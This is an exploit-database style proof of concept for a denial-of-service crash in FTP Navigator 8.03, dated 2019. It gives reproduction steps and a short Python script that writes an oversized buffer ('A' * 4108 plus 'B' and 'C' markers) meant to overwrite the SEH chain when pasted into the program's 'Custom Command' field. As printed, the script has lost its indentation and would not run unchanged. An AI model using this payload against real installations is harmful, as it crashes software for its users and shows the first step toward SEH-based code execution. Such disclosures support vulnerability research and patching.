FTP Navigator 8.03 Denial Of Service

`# Exploit Title: FTP Navigator 8.03 - 'Custom Command' Denial of Service (SEH)  
# Date: 2019-12-18  
# Exploit Author: Chris Inzinga  
# Vendor Homepage: http://www.internet-soft.com/  
# Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1  
# Version: 8.03  
# Tested on: Windows 7 SP1 (x86)  
  
# Steps to reproduce:  
# 1. Generate a malicious payload via the POC  
# 2. In the application click "FTP - Server" > "Custom Command"  
# 3. Paste the contents of the PoC file into the input box below SERVER LIST and press "Do it!"  
# 4. Observe a program DOS crash, overwriting SEH   
  
#!/usr/bin/python  
  
payload = "A" * 4108 + "B" * 4 + "C" * 40  
  
try:  
fileCreate =open("exploit.txt","w")  
print("[x] Creating file")  
fileCreate.write(payload)  
fileCreate.close()  
print("[x] File created")  
except:  
print("[!] File failed to be created")  
`